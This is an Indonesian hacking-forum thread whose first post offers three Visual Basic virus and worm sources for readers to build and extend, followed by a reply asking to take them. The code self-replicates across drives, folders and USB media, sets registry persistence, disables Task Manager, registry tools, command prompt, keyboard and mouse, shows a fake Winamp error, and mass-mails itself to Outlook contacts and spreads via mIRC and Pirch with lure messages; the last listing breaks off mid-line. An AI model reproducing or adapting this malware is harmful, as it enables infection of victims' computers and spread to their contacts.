|
| virus vb code | |
| | Pengirim | Message |
---|
Copper Lamer
Jumlah posting : 232 Points : 338 Reputation : 0 Join date : 21.07.11 Age : 33 Lokasi : dimana-mana
| Subyek: virus vb code Sat Jul 23, 2011 4:25 pm | |
| Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya : Code: ------------------------------------------------------------------------------------------ - Code:
-
Private Sub Form_Load() On Error Resume Next KopiSusu DaftarinKeRegister End Sub
Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long Randomize Pengacakan = Int((High - Low + 1) * Rnd) + Low End Function
Private Sub KopiSusu() On Error Resume Next X2 = 0 Do Until X2 = 2 X = Pengacakan(0, 999999999) FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe" Shell App.Path & "\" & App.EXEName & X & ".exe" X2 = X2 + 1 Loop End Sub
Private Sub DaftarinKeRegister() X3 = Pengacakan(0, 999999999) FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe" Dim RegKey Set RegKey = CreateObject("WScript.Shell") RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe" End Sub --------------------------------------------------------------------------- virus 2 code VB Virus 2 untuk ngebuatnya cuman di butuhin form 1 aja tanpa komponen laen ,ini codingnya : Code: - Code:
-
Private Declare Function AmbilDirektoriWindow Lib "kernel32" Alias "AmbilDirektoriWindowA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Sub Form_Load() On Error Resume Next Me.Visible = False App.TaskVisible = False Me.Hide If App.PrevInstance = True Then End End If Dim path As String, strSave As String Dim SubKey, file As Object Set SubKey = CreateObject("WScript.Shell") Set file = CreateObject("Scripting.FileSystemObject") strSave = String(200, Chr$(0)) path = Left$(strSave, AmbilDirektoriWindow(strSave, Len(strSave))) FileCopy App.path + "\" + App.EXEName + ".exe", path + "\" + "window.exe" SubKey.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "gpmce", path & "\" & "Angel2" & ".exe" SubKey.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "gpmce", path & "\" & "Angel2" & ".exe" Direktori (path) SemuaFolder Infeksi pen End Sub Private Sub Direktori(path As String) On Error Resume Next Dim Fso As Object Set Fso = CreateObject("Scripting.FileSystemObject") Dim drives As Object Dim drive As Object Set drives = Fso.drives For Each drive In drives Select Case drive.DriveType Case 2 If drive.IsReady = True Then If drive.AvailableSpace <> "" Then Dim letter As String If (StrComp(drive.DriveLetter, path, vbTextCompare)) Then letter = drive.DriveLetter + ":\" InfeksiFolder letter End If End If End If End Select Next End Sub Function InfeksiFolder(Fold As String) Dim Fso As Object, FolderS Set Fso = CreateObject("Scripting.FileSystemObject") For Each FolderS In Fso.GetFolder(Fold).subfolders FileCopy App.path + "\" + App.EXEName + ".exe", FolderS.path + "\" + FolderS.Name + ".exe" Call InfeksiFolder(FolderS.path) Next FolderS End Function Private Sub SemuaFolder() On Error Resume Next Dim s1 As String Dim wshShell: Set wshShell = CreateObject("WScript.Shell") FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("MyDocuments") + "\" + "MyDocuments.exe" FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Favorites") + "\" + "Fonts.exe" FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Recent") + "\" + "Recycle Bin.exe" FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("startup") + "\" + "Angel2.exe" InfeksiFolder wshShell.SpecialFolders("MyDocuments") End Sub Private Sub Infeksi() On Error Resume Next Dim Key As Object Set Key = CreateObject("WScript.Shell") Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\start page", " [You must be registered and logged in to see this link.]Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\search page", " [You must be registered and logged in to see this link.]Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoFolderOptions", 1, "REG_DWORD" Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString", "@%SystemRoot%\system32\SHELL32.dll,-8964" Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString", "@%SystemRoot%\system32\shell32.dll,-9216" Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\", "%SystemRoot%\System32\shell32.dll,31" Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\", "%SystemRoot%\Explorer.exe,0" Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\empty", "%SystemRoot%\Explorer.exe,0" Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\full", "%SystemRoot%\Explorer.exe,0" Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD" Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DisableThumbnailCache", 1, "REG_DWORD" Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", 1, "REG_DWORD" Key.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" Key.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\disableCMD", 2, "REG_DWORD" End Sub Private Sub pen() On Error Resume Next Dim Fso As Object Set Fso = CreateObject("Scripting.FileSystemObject") Dim drives As Object Dim drive As Object Dim s As String Set drives = Fso.drives While 1 For Each drive In drives Select Case drive.DriveType Case 1 If (StrComp(drive.DriveLetter, "a", vbTextCompare)) Then End If If drive.IsReady = True Then If drive.AvailableSpace <> "" Then FileCopy App.path + "\" + App.EXEName + ".exe", drive.DriveLetter + ":\" + "Angel2.exe" s = drive.DriveLetter + ":\" InfeksiFolder s End If End If End Select Next Wend End Sub -------------------------------------------------------------------------- vb 3 Ini Infeksinya : @Akan mengcopy di C:%System%\Winamp.exe @Mendaftarkan dirinya di register di : $HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Swf32="C:%System%\Winamp.exe"' supaya bisa aktif kalo kumpoter di nyala in.. $HKEY_CLASSES_ROOT\scrfile\shell\open\command\="C:%System%\winamp.exe"', @Nampilin error : Winamp error, please reinstall !' saat virus di jalanin @akan mengcopy ke folder startup jadi bisa aktif terus @Mengcopy juga ke %Windows%, %System% and %Temp% folders dengan nama 'Jdbgmgr.exe' Ini di lakukan supaya ada backupan worm. @mengirim email ke semua daftar alamat email yang ada di address book @Worm ini akan berusaha menyebarkan dirinya melalui Mirc, Pirch and Kazaa @Oo..h iya..,aq enggak tau nyebarin melaui E-mail bekerja apa enggak di komputer laen,masalahnya di komputer aq jalan,kasih tau aq yah.. sapa tau aja jalan ? ! ? @ dan sebagainya, di coba yah.. Kalo mau ngebuatnya yang dibutuhin cuman Form kosong aja kok, gak ada komponen laennya and tinggal di masukin aja Codingnya . NB : Aq gunain statement Print -> 6.02x10^23, Ini Codingnya : Code: - Code:
-
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'Objeck CD Tray (Supaya worm bisa buka CD Tray) Private Sub Form_Load() On Error Resume Next ' ------------------------------------------------------------------------------------- Dim AppPath As String AppPath = App.Path If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\" ' cari tempat negcopy :) Set fso = CreateObject("Scripting.FileSystemObject") ' Cari tempat di direktori %Windows%, %System% atau %Temp%. Set wsc = CreateObject("WScript.Shell") ' Copy ke Folder %Startup% , dan tulis di register. WormMawarkuning = AppPath & App.EXEName & ".EXE" ' Copy format .exe. ' ------------------------------------------------------------------------------------- If Dir(fso.GetSpecialFolder(1) & "\Winamp.exe") <> "Winamp.exe" Then ' Periksa apa worm udah di Copy. FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Winamp.exe" ' Kalo worm belum di copy,yah.. di copy lagi dunks... :) wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Winamp", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register supaya worm bisa terus di jalan in. wsc.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register,terus mengesampingkan perintah Screen Server di Dekstop,supaya menghemat daya yang di gunain di Svreen Server, dan sebagai gantinya yah.. worm ini lah... MsgBox "Winamp Error,Please Reinstal....!", vbCritical, "Error" ' Kirim pesan palsu :) Else If Day(Now) = 16 Then 'infeksi pada tanggal 16 :) MsgBox "Compact-Disc Terinfeksi", vbSystemModal + vbExclamation, "Mawar Kuning By jimmyxxx" mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& ' Buka CD Tray :) wsc.Run "Rundll32.exe Keyboard,Disable" ' Disable keyboard wsc.Run "Rundll32.exe Mouse,Disable" ' Disable mouse wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Keyboard", "Rundll32.exe Keyboard,Disable" ' Disable Keyboard di Register,jadi Keyboard akan tetap enggak jalan sebelum Value di Register di Hapus. wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Mouse", "Rundll32.exe Mouse,Disable" ' Sama seperti Keyboard,Mouse akan tetap disable sebelum Value di Register di Hapus. End If End If ' ------------------------------------------------------------------------------------- If Dir(wsc.SpecialFolders("Startup") & "\MawarKuning.exe") <> "MawarKuning.exe" Then 'Copy ke Folder StartUp FileCopy WormMawarkuning, wsc.SpecialFolders("Startup") & "\MawarKuning.exe" ' Kalo worm enggak ada di folder StartUp, Yah.. copy lagi.. lagi.. dan lagi.. sampe bosen :) End If ' ------------------------------------------------------------------------------------- FileCopy WormMawarkuning, fso.GetSpecialFolder(0) & "\Jdbgmgr.exe" FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Jdbgmgr.exe" ' buat BackUp Worm ,dan copy ulang file Jdbgmgr.exe :) FileCopy WormMawarkuning, fso.GetSpecialFolder(2) & "\Jdbgmgr.exe" ' ------------------------------------------------------------------------------------- If Dir(fso.GetSpecialFolder(1) & "\Mawar Kuning.txt") <> "Mawar Kuning.txt" Then ' kirim worm ke alamat yang ada di Address Book di Microsoft Outlook. Set OutlookApp = CreateObject("Outlook.Application") Set GNS = OutlookApp.GetNameSpace("MAPI") For List1 = 1 To GNS.AddressLists.Count CountLoop = 1 For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count Set OutlookEmail = OutlookApp.CreateItem(0) OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop)) Randomize RndNumber = Int((6 * Rnd) + 1) Select Case RndNumber Case 1: RndText = "Kamu udah Lihat Gambar Mawar Kuning lagi Mekar;)" & vbCrLf _ & "" & vbCrLf _ & "Sampai Jumpa." Case 2: RndText = "Ada Video,Mawar Kuning lagi Mekar di pagi hari loh....." & vbCrLf _ & "Balas E-mail aku ya.. supaya aku tahu kamu suka apa enggak,Oke..;)" & vbCrLf _ & "" & vbCrLf _ & "Sampai Jumpa." Case 3: RndText = "Kamu sudah punya video Mawar Kuning Lagi Mekar Di Pagi Hari, Aku tahu kamu suka Video ini,;)" & vbCrLf _ & "" & vbCrLf _ & "Sampai Jumpa." Case 4: RndText = "Kamu sudah lihat belum,Video sepasang kekasih duduk dikelilingi Mawar kuning..." & vbCrLf _ & "Aku tahu kamu pasti suka;)" & vbCrLf _ & "" & vbCrLf _ & "Sampai Jumpa." Case 5: RndText = "Apa pendapat kamu tentang Video Mawar kuning ?" & vbCrLf _ & "Kirim e-mail ke aku yah.. aku ingin tahu pendapat kamu;)" & vbCrLf _ & "" & vbCrLf _ & "Sampai Jumpa." Case 6: RndText = "Nonton video Mawar kuning,kamu pasti suka;)" & vbCrLf _ & "" & vbCrLf _ & "Sampai Jumpa." End Select OutlookEmail.Subject = "Salam Kenal!" OutlookEmail.Body = RndText OutlookEmail.Attachments.Add (fso.GetSpecialFolder(1) & "\MawarKuning.exe") OutlookEmail.DeleteAfterSubmit = True OutlookEmail.Importance = 2 OutlookEmail.Send CountLoop = CountLoop + 1 Next Next End If ' ------------------------------------------------------------------------------------- Open fso.GetSpecialFolder(1) & "\Mawar Kuning.txt" For Output As 1 Print #1, "MawarKuning by Shadow Angel" Close 1 ' ------------------------------------------------------------------------------------- If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc32" ' Cari Mirc If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc" If Dir(wsc.SpecialFolders("Programs") & "\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc" If Dir(wsc.SpecialFolders("Programs") & "\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc32" If mIRCPath <> "" Then ' Jika Mirc di instal atau ada di komputer worm akan mengEdit : Script.ini :) ' ------------------------------------------------------------------------------------- If Dir(mIRCPath & "\Mawar.ex_") <> "Mawar.ex_" Then FileCopy WormMawarkuning, mIRCPath & "\Mawar.ex_" End If ' ------------------------------------------------------------------------------------- Open mIRCPath & "\script.ini" For Output As 2 Print #2, "[script]" Print #2, "n5= on 1:JOIN:#:{" Print #2, "n6= /if ( $nick == $me ) { halt }" Print #2, "n7= /msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe" Print #2, "n8= /dcc send -c $nick " & mIRCPath & "\Mawar.ex_" Print #2, "n9= }" Close 2 End If ' ------------------------------------------------------------------------------------- If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32" ' Cari Folder Pirch If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch" If Dir(wsc.SpecialFolders("Programs") & "\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch" If Dir(wsc.SpecialFolders("Programs") & "\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch32" ' ------------------------------------------------------------------------------------- If PirchPath <> "" Then ' Kalo Pirch di instal di komputer atau ada di komputer maka worm akan mengEdit file : Events.ini :) ' ------------------------------------------------------------------------------------- If Dir(PirchPath & "\Mawar.ex_") <> "Mawar.ex_" Then FileCopy WormMawarkuning, PirchPath & "\Mawar.ex_" End If ' ------------------------------------------------------------------------------------- Open PirchPath & "\events.ini" For Output As 3 Print #3, "[Levels]" Print #3, "Enabled=1" Print #3, "Count=6" Print #3, "Level1=000-Unknowns" Print #3, "000-UnknownsEnabled=1" Print #3, "Level2=100-Level 100" Print #3, "100-Level 100Enabled=1" Print #3, "Level3=200-Level 200" Print #3, "200-Level 200Enabled=1" Print #3, "Level4=300-Level 300" Print #3, "300-Level 300Enabled=1" Print #3, "Level5=400-Level 400" Print #3, "400-Level 400Enabled=1" Print #3, "Level6=500-Level 500" Print #3, "500-Level 500Enabled=1" Print #3, "" Print #3, "[000-Unknowns]" Print #3, "UserCount=0" Print #3, "Event1=ON JOIN:#:/msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe" Print #3, "EventCount=0" Print #3, "" Print #3, "[100-Level 100]" Print #3, "User1=*!*@*" Print #3, "UserCount=1" Print #3, "Event1=ON JOIN:#:/dcc send $nick " & PirchPath & "\Mawar.ex_" Print #3, "EventCount=1" Print #3, "" Print #3, "[200-Level 200]" Print #3, "UserCount=0" Print #3, "EventCount=0" Print #3, "" Print #3, "[300-Level 300]" Print #3, "UserCount=0" Print #3, "EventCount=0" Print #3, "" Print #3, "[400-Level 400]" Print #3, "UserCount=0" Print #3, "EventCount=0" Print #3, "" Print #3, "[500-Level 500]" Print #3, "UserCount=0" Print #3, "EventCount=0" Close 3 End If ' ------------------------------------------------------------------------------------- If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" T maaf kl ada solah mohon koreksi,,,,,,,, | |
| | | Roy Sukro VIP Member
Jumlah posting : 392 Points : 711 Reputation : 17 Join date : 06.02.11 Age : 35 Lokasi : dimana-mana ada ^^
| Subyek: Re: virus vb code Sat Aug 20, 2011 3:05 pm | |
| ijin di comot gan virusnya | |
| | | | virus vb code | |
|
Similar topics | |
|
| Permissions in this forum: | Anda tidak dapat menjawab topik
| |
| |
| Latest topics | » Baktrack TutorialSun Jul 28, 2019 2:26 am by kenta » aplikasi gambas pada linuxTue Apr 30, 2019 10:28 am by kenta » beli linux ubuntu terbaru di surabayaSun Mar 31, 2019 10:08 am by kenta » desain robotFri Jan 19, 2018 1:25 pm by kenta » membuat robot tidak susahFri Jan 19, 2018 1:15 pm by kenta » Salam.. Salam.. Salam..Thu Nov 30, 2017 7:42 am by BumiayuKita» teknologi penyaring udara dan airWed Oct 04, 2017 8:41 am by kenta » [CloudMILD] VPS SSD IIX 2X RAM + Xtra SSD SpaceMon Jul 24, 2017 10:46 am by BumiayuKita» cara menutup akses dari situs negatifTue Apr 04, 2017 1:04 pm by kenta » Aplikasi Google TalkMon Mar 20, 2017 3:00 am by BumiayuKita» Driver buat Webcam PC ?? merknya M-Tech,, Fri Jan 30, 2015 8:51 pm by aelgrim » Portal Blog,,,,,Sun Dec 14, 2014 12:38 am by robofics» Appteknodroid - Seputar Dunia AndroidMon Nov 10, 2014 11:32 pm by Pr0phecy » Software animasi yang agan2 pakeTue Sep 30, 2014 1:11 pm by X_campus » INDO BILLING 6.70 + KEYSun Sep 21, 2014 2:17 pm by abdul halim |
Statistics | Total 12294 user terdaftar User terdaftar terakhir adalah Adlygans
Total 31710 kiriman artikel dari user in 5734 subjects
|
Banner Forum | Dukung forum Blackc0de dengan memasang bannernya.
|
Social Networking |
|
|